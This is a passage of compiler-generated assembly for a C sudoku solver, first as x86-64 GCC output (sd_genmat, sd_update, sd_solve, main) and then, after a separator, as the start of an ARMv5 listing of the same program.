mov edx, eax
mov eax, edx
sal eax, 3
add edx, eax
mov eax, DWORD PTR -364[rbp]
lea ecx, [rdx+rax]
mov rax, QWORD PTR -344[rbp]
mov edx, DWORD PTR -356[rbp]
movsx rdx, edx
add rdx, 728
mov WORD PTR 8[rax+rdx*8], cx
mov eax, DWORD PTR -368[rbp]
movsx rdx, eax
imul rdx, rdx, 1431655766
shr rdx, 32
sar eax, 31
sub edx, eax
mov eax, edx
add eax, eax
lea ecx, [rax+rdx]
mov eax, DWORD PTR -364[rbp]
movsx rdx, eax
imul rdx, rdx, 1431655766
shr rdx, 32
sar eax, 31
mov esi, eax
mov eax, edx
sub eax, esi
add eax, ecx
mov edx, eax
mov eax, edx
sal eax, 3
add edx, eax
mov eax, DWORD PTR -360[rbp]
add eax, edx
lea ecx, 81[rax]
mov rax, QWORD PTR -344[rbp]
mov edx, DWORD PTR -356[rbp]
movsx rdx, edx
mov WORD PTR 5834[rax+rdx*8], cx
mov eax, DWORD PTR -368[rbp]
mov edx, eax
mov eax, edx
sal eax, 3
add edx, eax
mov eax, DWORD PTR -360[rbp]
add eax, edx
lea ecx, 162[rax]
mov rax, QWORD PTR -344[rbp]
mov edx, DWORD PTR -356[rbp]
movsx rdx, edx
mov WORD PTR 5836[rax+rdx*8], cx
mov eax, DWORD PTR -364[rbp]
mov edx, eax
mov eax, edx
sal eax, 3
add edx, eax
mov eax, DWORD PTR -360[rbp]
add eax, edx
lea ecx, 243[rax]
mov rax, QWORD PTR -344[rbp]
mov edx, DWORD PTR -356[rbp]
movsx rdx, edx
mov WORD PTR 5838[rax+rdx*8], cx
add DWORD PTR -356[rbp], 1
add DWORD PTR -360[rbp], 1
.L4:
cmp DWORD PTR -360[rbp], 8
jle .L5
add DWORD PTR -364[rbp], 1
.L3:
cmp DWORD PTR -364[rbp], 8
jle .L6
add DWORD PTR -368[rbp], 1
.L2:
cmp DWORD PTR -368[rbp], 8
jle .L7
mov DWORD PTR -352[rbp], 0
jmp .L8
.L9:
mov eax, DWORD PTR -352[rbp]
cdqe
mov BYTE PTR -336[rbp+rax], 0
add DWORD PTR -352[rbp], 1
.L8:
cmp DWORD PTR -352[rbp], 323
jle .L9
mov DWORD PTR -356[rbp], 0
jmp .L10
.L13:
mov DWORD PTR -348[rbp], 0
jmp .L11
.L12:
mov rax, QWORD PTR -344[rbp]
mov edx, DWORD PTR -348[rbp]
movsx rcx, edx
mov edx, DWORD PTR -356[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
add rdx, 2912
movzx eax, WORD PTR 8[rax+rdx*2]
movzx eax, ax
mov DWORD PTR -360[rbp], eax
mov eax, DWORD PTR -360[rbp]
cdqe
movzx eax, BYTE PTR -336[rbp+rax]
mov edx, eax
add edx, 1
mov ecx, edx
mov edx, DWORD PTR -360[rbp]
movsx rdx, edx
mov BYTE PTR -336[rbp+rdx], cl
movsx eax, al
mov edx, DWORD PTR -356[rbp]
mov esi, edx
mov rdx, QWORD PTR -344[rbp]
movsx rdi, eax
mov eax, DWORD PTR -360[rbp]
movsx rcx, eax
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rdi
mov WORD PTR [rdx+rax*2], si
add DWORD PTR -348[rbp], 1
.L11:
cmp DWORD PTR -348[rbp], 3
jle .L12
add DWORD PTR -356[rbp], 1
.L10:
cmp DWORD PTR -356[rbp], 728
jle .L13
mov rax, QWORD PTR -344[rbp]
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L15
call __stack_chk_fail@PLT
.L15:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size sd_genmat, .-sd_genmat
.type sd_update, @function
sd_update:
.LFB7:
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov DWORD PTR -76[rbp], ecx
mov DWORD PTR -80[rbp], r8d
mov DWORD PTR -36[rbp], 10
mov DWORD PTR -32[rbp], 0
mov DWORD PTR -40[rbp], 0
jmp .L17
.L18:
mov rax, QWORD PTR -56[rbp]
mov edx, DWORD PTR -40[rbp]
movsx rcx, edx
mov edx, DWORD PTR -76[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
add rdx, 2912
movzx eax, WORD PTR 8[rax+rdx*2]
movzx edx, ax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx ecx, BYTE PTR [rax]
mov eax, DWORD PTR -80[rbp]
sal eax, 7
mov edi, eax
mov rax, QWORD PTR -56[rbp]
mov edx, DWORD PTR -40[rbp]
movsx rsi, edx
mov edx, DWORD PTR -76[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rsi
add rdx, 2912
movzx eax, WORD PTR 8[rax+rdx*2]
movzx edx, ax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
lea edx, [rcx+rdi]
mov BYTE PTR [rax], dl
add DWORD PTR -40[rbp], 1
.L17:
cmp DWORD PTR -40[rbp], 3
jle .L18
mov DWORD PTR -40[rbp], 0
jmp .L19
.L33:
mov rax, QWORD PTR -56[rbp]
mov edx, DWORD PTR -40[rbp]
movsx rcx, edx
mov edx, DWORD PTR -76[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
add rdx, 2912
movzx eax, WORD PTR 8[rax+rdx*2]
movzx eax, ax
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -80[rbp], 0
jle .L20
mov DWORD PTR -28[rbp], 0
jmp .L21
.L27:
mov rdx, QWORD PTR -56[rbp]
mov eax, DWORD PTR -28[rbp]
movsx rsi, eax
mov eax, DWORD PTR -20[rbp]
movsx rcx, eax
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rsi
movzx eax, WORD PTR [rdx+rax*2]
movzx eax, ax
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -16[rbp]
movsx rdx, eax
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, edx
add ecx, 1
mov BYTE PTR [rax], cl
test dl, dl
jne .L35
mov DWORD PTR -24[rbp], 0
jmp .L24
.L26:
mov rax, QWORD PTR -56[rbp]
mov edx, DWORD PTR -24[rbp]
movsx rcx, edx
mov edx, DWORD PTR -16[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
add rdx, 2912
movzx eax, WORD PTR 8[rax+rdx*2]
movzx eax, ax
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
movsx rdx, eax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
sub edx, 1
mov BYTE PTR [rax], dl
movzx eax, BYTE PTR [rax]
movzx eax, al
cmp DWORD PTR -36[rbp], eax
jle .L25
mov eax, DWORD PTR -12[rbp]
movsx rdx, eax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movzx eax, al
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR -32[rbp], eax
.L25:
add DWORD PTR -24[rbp], 1
.L24:
cmp DWORD PTR -24[rbp], 3
jle .L26
jmp .L23
.L35:
nop
.L23:
add DWORD PTR -28[rbp], 1
.L21:
cmp DWORD PTR -28[rbp], 8
jle .L27
jmp .L28
.L20:
mov DWORD PTR -28[rbp], 0
jmp .L29
.L32:
mov rdx, QWORD PTR -56[rbp]
mov eax, DWORD PTR -28[rbp]
movsx rsi, eax
mov eax, DWORD PTR -20[rbp]
movsx rcx, eax
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rsi
movzx eax, WORD PTR [rdx+rax*2]
movzx eax, ax
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -16[rbp]
movsx rdx, eax
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
sub edx, 1
mov BYTE PTR [rax], dl
movzx eax, BYTE PTR [rax]
test al, al
jne .L36
mov eax, DWORD PTR -16[rbp]
cdqe
add rax, 728
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
add rax, 8
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
movzx eax, WORD PTR [rax]
movzx edx, ax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
add edx, 1
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -8[rbp]
add rax, 2
movzx eax, WORD PTR [rax]
movzx edx, ax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
add edx, 1
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -8[rbp]
add rax, 4
movzx eax, WORD PTR [rax]
movzx edx, ax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
add edx, 1
mov BYTE PTR [rax], dl
mov rax, QWORD PTR -8[rbp]
add rax, 6
movzx eax, WORD PTR [rax]
movzx edx, ax
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
add edx, 1
mov BYTE PTR [rax], dl
jmp .L31
.L36:
nop
.L31:
add DWORD PTR -28[rbp], 1
.L29:
cmp DWORD PTR -28[rbp], 8
jle .L32
.L28:
add DWORD PTR -40[rbp], 1
.L19:
cmp DWORD PTR -40[rbp], 3
jle .L33
mov eax, DWORD PTR -36[rbp]
sal eax, 16
or eax, DWORD PTR -32[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size sd_update, .-sd_update
.globl sd_solve
.type sd_solve, @function
sd_solve:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1520
mov QWORD PTR -1512[rbp], rdi
mov QWORD PTR -1520[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -1472[rbp], 0
mov DWORD PTR -1464[rbp], 0
mov DWORD PTR -1492[rbp], 0
jmp .L38
.L39:
mov eax, DWORD PTR -1492[rbp]
cdqe
mov BYTE PTR -752[rbp+rax], 0
add DWORD PTR -1492[rbp], 1
.L38:
cmp DWORD PTR -1492[rbp], 728
jle .L39
mov DWORD PTR -1488[rbp], 0
jmp .L40
.L41:
mov eax, DWORD PTR -1488[rbp]
cdqe
mov BYTE PTR -1088[rbp+rax], 9
add DWORD PTR -1488[rbp], 1
.L40:
cmp DWORD PTR -1488[rbp], 323
jle .L41
mov DWORD PTR -1500[rbp], 0
jmp .L42
.L47:
mov eax, DWORD PTR -1500[rbp]
movsx rdx, eax
mov rax, QWORD PTR -1520[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 48
jle .L43
mov eax, DWORD PTR -1500[rbp]
movsx rdx, eax
mov rax, QWORD PTR -1520[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 57
jg .L43
mov eax, DWORD PTR -1500[rbp]
movsx rdx, eax
mov rax, QWORD PTR -1520[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movsx eax, al
sub eax, 49
jmp .L44
.L43:
mov eax, -1
.L44:
mov DWORD PTR -1460[rbp], eax
cmp DWORD PTR -1460[rbp], 0
js .L45
mov edx, DWORD PTR -1500[rbp]
mov eax, edx
sal eax, 3
add edx, eax
mov eax, DWORD PTR -1460[rbp]
lea ecx, [rdx+rax]
lea rdx, -1088[rbp]
lea rsi, -752[rbp]
mov rax, QWORD PTR -1512[rbp]
mov r8d, 1
mov rdi, rax
call sd_update
.L45:
cmp DWORD PTR -1460[rbp], 0
js .L46
add DWORD PTR -1464[rbp], 1
.L46:
mov eax, DWORD PTR -1500[rbp]
cdqe
mov WORD PTR -1456[rbp+rax*2], -1
mov eax, DWORD PTR -1500[rbp]
cdqe
mov BYTE PTR -1280[rbp+rax], -1
mov eax, DWORD PTR -1500[rbp]
movsx rdx, eax
mov rax, QWORD PTR -1520[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov eax, DWORD PTR -1500[rbp]
cdqe
mov BYTE PTR -1184[rbp+rax], dl
add DWORD PTR -1500[rbp], 1
.L42:
cmp DWORD PTR -1500[rbp], 80
jle .L47
mov DWORD PTR -1500[rbp], 0
mov DWORD PTR -1480[rbp], 1
mov DWORD PTR -1476[rbp], 655360
mov BYTE PTR -1103[rbp], 0
jmp .L48
.L62:
cmp DWORD PTR -1480[rbp], 1
jne .L49
mov eax, DWORD PTR -1476[rbp]
sar eax, 16
mov DWORD PTR -1468[rbp], eax
mov eax, DWORD PTR -1476[rbp]
mov edx, eax
mov eax, DWORD PTR -1500[rbp]
cdqe
mov WORD PTR -1456[rbp+rax*2], dx
cmp DWORD PTR -1468[rbp], 1
jle .L50
mov DWORD PTR -1488[rbp], 0
jmp .L51
.L53:
mov eax, DWORD PTR -1488[rbp]
cdqe
movzx eax, BYTE PTR -1088[rbp+rax]
movzx eax, al
cmp DWORD PTR -1468[rbp], eax
jle .L52
mov eax, DWORD PTR -1488[rbp]
cdqe
movzx eax, BYTE PTR -1088[rbp+rax]
movzx eax, al
mov DWORD PTR -1468[rbp], eax
mov eax, DWORD PTR -1488[rbp]
mov edx, eax
mov eax, DWORD PTR -1500[rbp]
cdqe
mov WORD PTR -1456[rbp+rax*2], dx
cmp DWORD PTR -1468[rbp], 1
jle .L71
.L52:
add DWORD PTR -1488[rbp], 1
.L51:
cmp DWORD PTR -1488[rbp], 323
jle .L53
jmp .L50
.L71:
nop
.L50:
cmp DWORD PTR -1468[rbp], 0
je .L54
cmp DWORD PTR -1468[rbp], 10
jne .L49
.L54:
mov DWORD PTR -1480[rbp], -1
mov eax, DWORD PTR -1500[rbp]
lea edx, -1[rax]
mov DWORD PTR -1500[rbp], edx
cdqe
mov BYTE PTR -1280[rbp+rax], -1
.L49:
mov eax, DWORD PTR -1500[rbp]
cdqe
movzx eax, WORD PTR -1456[rbp+rax*2]
cwde
mov DWORD PTR -1488[rbp], eax
cmp DWORD PTR -1480[rbp], -1
jne .L55
mov eax, DWORD PTR -1500[rbp]
cdqe
movzx eax, BYTE PTR -1280[rbp+rax]
test al, al
js .L55
mov eax, DWORD PTR -1500[rbp]
cdqe
movzx eax, BYTE PTR -1280[rbp+rax]
movsx eax, al
mov rdx, QWORD PTR -1512[rbp]
movsx rsi, eax
mov eax, DWORD PTR -1488[rbp]
movsx rcx, eax
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rsi
movzx eax, WORD PTR [rdx+rax*2]
movzx ecx, ax
lea rdx, -1088[rbp]
lea rsi, -752[rbp]
mov rax, QWORD PTR -1512[rbp]
mov r8d, -1
mov rdi, rax
call sd_update
.L55:
mov eax, DWORD PTR -1500[rbp]
cdqe
movzx eax, BYTE PTR -1280[rbp+rax]
movsx eax, al
add eax, 1
mov DWORD PTR -1484[rbp], eax
jmp .L56
.L59:
mov rdx, QWORD PTR -1512[rbp]
mov eax, DWORD PTR -1484[rbp]
movsx rsi, eax
mov eax, DWORD PTR -1488[rbp]
movsx rcx, eax
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rsi
movzx eax, WORD PTR [rdx+rax*2]
movzx eax, ax
cdqe
movzx eax, BYTE PTR -752[rbp+rax]
test al, al
je .L72
add DWORD PTR -1484[rbp], 1
.L56:
cmp DWORD PTR -1484[rbp], 8
jle .L59
jmp .L58
.L72:
nop
.L58:
cmp DWORD PTR -1484[rbp], 8
jg .L60
mov rdx, QWORD PTR -1512[rbp]
mov eax, DWORD PTR -1484[rbp]
movsx rsi, eax
mov eax, DWORD PTR -1488[rbp]
movsx rcx, eax
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rsi
movzx eax, WORD PTR [rdx+rax*2]
movzx ecx, ax
lea rdx, -1088[rbp]
lea rsi, -752[rbp]
mov rax, QWORD PTR -1512[rbp]
mov r8d, 1
mov rdi, rax
call sd_update
mov DWORD PTR -1476[rbp], eax
mov eax, DWORD PTR -1500[rbp]
lea edx, 1[rax]
mov DWORD PTR -1500[rbp], edx
mov edx, DWORD PTR -1484[rbp]
cdqe
mov BYTE PTR -1280[rbp+rax], dl
mov DWORD PTR -1480[rbp], 1
jmp .L48
.L60:
mov DWORD PTR -1480[rbp], -1
mov eax, DWORD PTR -1500[rbp]
lea edx, -1[rax]
mov DWORD PTR -1500[rbp], edx
cdqe
mov BYTE PTR -1280[rbp+rax], -1
.L48:
cmp DWORD PTR -1500[rbp], 0
js .L61
mov eax, 81
sub eax, DWORD PTR -1464[rbp]
cmp DWORD PTR -1500[rbp], eax
jl .L62
.L61:
cmp DWORD PTR -1500[rbp], 0
js .L73
mov DWORD PTR -1496[rbp], 0
jmp .L65
.L66:
mov eax, DWORD PTR -1496[rbp]
cdqe
movzx eax, WORD PTR -1456[rbp+rax*2]
movsx ecx, ax
mov eax, DWORD PTR -1496[rbp]
cdqe
movzx eax, BYTE PTR -1280[rbp+rax]
movsx eax, al
mov rdx, QWORD PTR -1512[rbp]
movsx rsi, eax
movsx rcx, ecx
mov rax, rcx
sal rax, 3
add rax, rcx
add rax, rsi
movzx eax, WORD PTR [rdx+rax*2]
movzx eax, ax
mov DWORD PTR -1492[rbp], eax
mov eax, DWORD PTR -1492[rbp]
movsx rdx, eax
imul rdx, rdx, 954437177
shr rdx, 32
sar edx
mov esi, eax
sar esi, 31
mov ecx, edx
sub ecx, esi
mov edx, ecx
sal edx, 3
add edx, ecx
sub eax, edx
mov ecx, eax
mov eax, ecx
lea ecx, 49[rax]
mov eax, DWORD PTR -1492[rbp]
movsx rdx, eax
imul rdx, rdx, 954437177
shr rdx, 32
sar edx
sar eax, 31
mov esi, eax
mov eax, edx
sub eax, esi
mov edx, ecx
cdqe
mov BYTE PTR -1184[rbp+rax], dl
add DWORD PTR -1496[rbp], 1
.L65:
mov eax, DWORD PTR -1496[rbp]
cmp eax, DWORD PTR -1500[rbp]
jl .L66
add DWORD PTR -1472[rbp], 1
sub DWORD PTR -1500[rbp], 1
mov DWORD PTR -1480[rbp], -1
jmp .L48
.L73:
nop
mov eax, DWORD PTR -1472[rbp]
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L69
call __stack_chk_fail@PLT
.L69:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size sd_solve, .-sd_solve
.globl main
.type main, @function
main:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1056
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, 0
call sd_genmat
mov QWORD PTR -1048[rbp], rax
jmp .L75
.L77:
lea rax, -1040[rbp]
mov rdi, rax
call strlen@PLT
cmp rax, 80
ja .L76
jmp .L75
.L76:
lea rdx, -1040[rbp]
mov rax, QWORD PTR -1048[rbp]
mov rsi, rdx
mov rdi, rax
call sd_solve
.L75:
mov rdx, QWORD PTR stdin[rip]
lea rax, -1040[rbp]
mov esi, 1024
mov rdi, rax
call fgets@PLT
test rax, rax
jne .L77
mov rax, QWORD PTR -1048[rbp]
mov rdi, rax
call free@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L79
call __stack_chk_fail@PLT
.L79:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "861710.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global sd_genmat
.syntax unified
.arm
.fpu softvfp
.type sd_genmat, %function
sd_genmat:
@ args = 0, pretend = 0, frame = 360
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #360
ldr r3, .L16
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r1, .L16+4
mov r0, #1
bl calloc
mov r3, r0
str r3, [fp, #-336]
mov r3, #0
str r3, [fp, #-348]
ldr r3, [fp, #-348]
str r3, [fp, #-360]
b .L2
.L7:
mov r3, #0
str r3, [fp, #-356]
b .L3
.L6:
mov r3, #0
str r3, [fp, #-352]
b .L4
.L5:
ldr r3, [fp, #-360]
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3 @ movhi
lsl r2, r2, #3
add r3, r2, r3
lsl r3, r3, #16
lsr r2, r3, #16
ldr r3, [fp, #-356]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r2, r3
lsl r3, r3, #16
lsr r2, r3, #16
ldr r1, [fp, #-336]
ldr r3, [fp, #-348]
add r3, r3, #728
add r3, r3, #1
lsl r3, r3, #3
add r3, r1, r3
strh r2, [r3] @ movhi
ldr r3, [fp, #-360]
ldr r2, .L16+8
smull r1, r2, r3, r2
asr r3, r3, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r2, r3, r2
ldr r3, [fp, #-356]
ldr r1, .L16+8
smull r0, r1, r3, r1
asr r3, r3, #31
sub r3, r1, r3
add r3, r2, r3
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3 @ movhi
lsl r2, r2, #3
add r3, r2, r3
lsl r3, r3, #16
lsr r2, r3, #16
ldr r3, [fp, #-352]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r2, r3
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r3, #81
lsl r3, r3, #16
lsr r2, r3, #16
ldr r1, [fp, #-336]
ldr r3, [fp, #-348]
lsl r3, r3, #3
add r3, r1, r3
add r3, r3, #5824
add r3, r3, #10
strh r2, [r3] @ movhi
ldr r3, [fp, #-360]
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3 @ movhi
lsl r2, r2, #3
add r3, r2, r3
lsl r3, r3, #16
lsr r2, r3, #16
ldr r3, [fp, #-352]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r2, r3
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r3, #162
lsl r3, r3, #16
lsr r2, r3, #16
ldr r1, [fp, #-336]
ldr r3, [fp, #-348]
lsl r3, r3, #3
add r3, r1, r3
add r3, r3, #5824
add r3, r3, #12
strh r2, [r3] @ movhi
ldr r3, [fp, #-356]
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3 @ movhi
lsl r2, r2, #3
add r3, r2, r3
lsl r3, r3, #16
lsr r2, r3, #16
ldr r3, [fp, #-352]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r2, r3
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r3, #243
lsl r3, r3, #16
lsr r2, r3, #16
ldr r1, [fp, #-336]
ldr r3, [fp, #-348]
lsl r3, r3, #3
add r3, r1, r3
add r3, r3, #5824
add r3, r3, #14
strh r2, [r3] @ movhi
ldr r3, [fp, #-348]
add r3, r3, #1
str r3, [fp, #-348]
ldr r3, [fp, #-352]
add r3, r3, #1
str r3, [fp, #-352]
.L4:
ldr r3, [fp, #-352]
cmp r3, #8
ble .L5
ldr r3, [fp, #-356]
add r3, r3, #1
str r3, [fp, #-356]
.L3:
ldr r3, [fp, #-356]
cmp r3, #8
ble .L6
ldr r3, [fp, #-360]
add r3, r3, #1
str r3, [fp, #-360]
.L2:
ldr r3, [fp, #-360]
cmp r3, #8
ble .L7
mov r3, #0
str r3, [fp, #-344]
b .L8
.L9:
sub r2, fp, #332
ldr r3, [fp, #-344]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-344]
add r3, r3, #1
str r3, [fp, #-344]
.L8:
ldr r3, [fp, #-344]
cmp r3, #324
blt .L9
mov r3, #0
str r3, [fp, #-348]
b .L10
.L13:
mov r3, #0
str r3, [fp, #-340]
b .L11
.L12:
ldr r2, [fp, #-336]
ldr r3, [fp, #-348]
lsl r1, r3, #2
ldr r3, [fp, #-340]
add r3, r1, r3
add r3, r3, #2912
add r3, r3, #4
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
str r3, [fp, #-352]
sub r2, fp, #332
ldr r3, [fp, #-352]
add r3, r2, r3
ldrsb r3, [r3]
and r2, r3, #255
add r2, r2, #1
and r2, r2, #255
lsl r2, r2, #24
asr r0, r2, #24
sub r1, fp, #332
ldr r2, [fp, #-352]
add r2, r1, r2
mov r1, r0
strb r1, [r2]
mov ip, r3
ldr r3, [fp, #-348]
lsl r3, r3, #16
lsr r1, r3, #16
ldr r0, [fp, #-336]
ldr r2, [fp, #-352]
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
add r3, r3, ip
lsl r3, r3, #1
add r3, r0, r3
strh r1, [r3] @ movhi
ldr r3, [fp, #-340]
add r3, r3, #1
str r3, [fp, #-340]
.L11:
ldr r3, [fp, #-340]
cmp r3, #3
ble .L12
ldr r3, [fp, #-348]
add r3, r3, #1
str r3, [fp, #-348]
.L10:
ldr r3, [fp, #-348]
cmp r3, #728
ble .L13
ldr r3, [fp, #-336]
ldr r2, .L16
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L15
bl __stack_chk_fail
.L15:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L17:
.align 2
.L16:
.word .LC0
.word 11664
.word 1431655766
.size sd_genmat, .-sd_genmat
.align 2
.syntax unified
.arm
.fpu softvfp
.type sd_update, %function
sd_update:
@ args = 4, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #60
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
mov r3, #10
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-40]
b .L19
.L20:
ldr r2, [fp, #-48]
ldr r3, [fp, #-60]
lsl r1, r3, #2
ldr r3, [fp, #-40]
add r3, r1, r3
add r3, r3, #2912
add r3, r3, #4
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-56]
add r3, r3, r2
ldrb r1, [r3] @ zero_extendqisi2
ldr r3, [fp, #4]
and r3, r3, #255
lsl r3, r3, #7
and r2, r3, #255
ldr r0, [fp, #-48]
ldr r3, [fp, #-60]
lsl ip, r3, #2
ldr r3, [fp, #-40]
add r3, ip, r3
add r3, r3, #2912
add r3, r3, #4
lsl r3, r3, #1
add r3, r0, r3
ldrh r3, [r3]
mov r0, r3
ldr r3, [fp, #-56]
add r3, r3, r0
add r2, r1, r2
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L19:
ldr r3, [fp, #-40]
cmp r3, #3
ble .L20
mov r3, #0
str r3, [fp, #-40]
b .L21
.L35:
ldr r2, [fp, #-48]
ldr r3, [fp, #-60]
lsl r1, r3, #2
ldr r3, [fp, #-40]
add r3, r1, r3
add r3, r3, #2912
add r3, r3, #4
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
str r3, [fp, #-20]
ldr r3, [fp, #4]
cmp r3, #0
ble .L22
mov r3, #0
str r3, [fp, #-28]
b .L23
.L29:
ldr r1, [fp, #-48]
ldr r2, [fp, #-20]
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
ldr r2, [fp, #-28]
add r3, r3, r2
lsl r3, r3, #1
add r3, r1, r3
ldrh r3, [r3]
str r3, [fp, #-16]
ldr r3, [fp, #-16]
ldr r2, [fp, #-52]
add r2, r2, r3
ldrsb r3, [r2]
and r1, r3, #255
add r1, r1, #1
and r1, r1, #255
lsl r1, r1, #24
asr r1, r1, #24
strb r1, [r2]
cmp r3, #0
bne .L37
mov r3, #0
str r3, [fp, #-24]
b .L26
.L28:
ldr r2, [fp, #-48]
ldr r3, [fp, #-16]
lsl r1, r3, #2
ldr r3, [fp, #-24]
add r3, r1, r3
add r3, r3, #2912
add r3, r3, #4
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-56]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
sub r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-36]
cmp r3, r2
ble .L27
ldr r3, [fp, #-8]
ldr r2, [fp, #-56]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
str r3, [fp, #-36]
ldr r3, [fp, #-8]
str r3, [fp, #-32]
.L27:
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L26:
ldr r3, [fp, #-24]
cmp r3, #3
ble .L28
b .L25
.L37:
nop
.L25:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L23:
ldr r3, [fp, #-28]
cmp r3, #8
ble .L29
b .L30
.L22:
mov r3, #0
str r3, [fp, #-28]
b .L31
.L34:
ldr r1, [fp, #-48]
ldr r2, [fp, #-20]
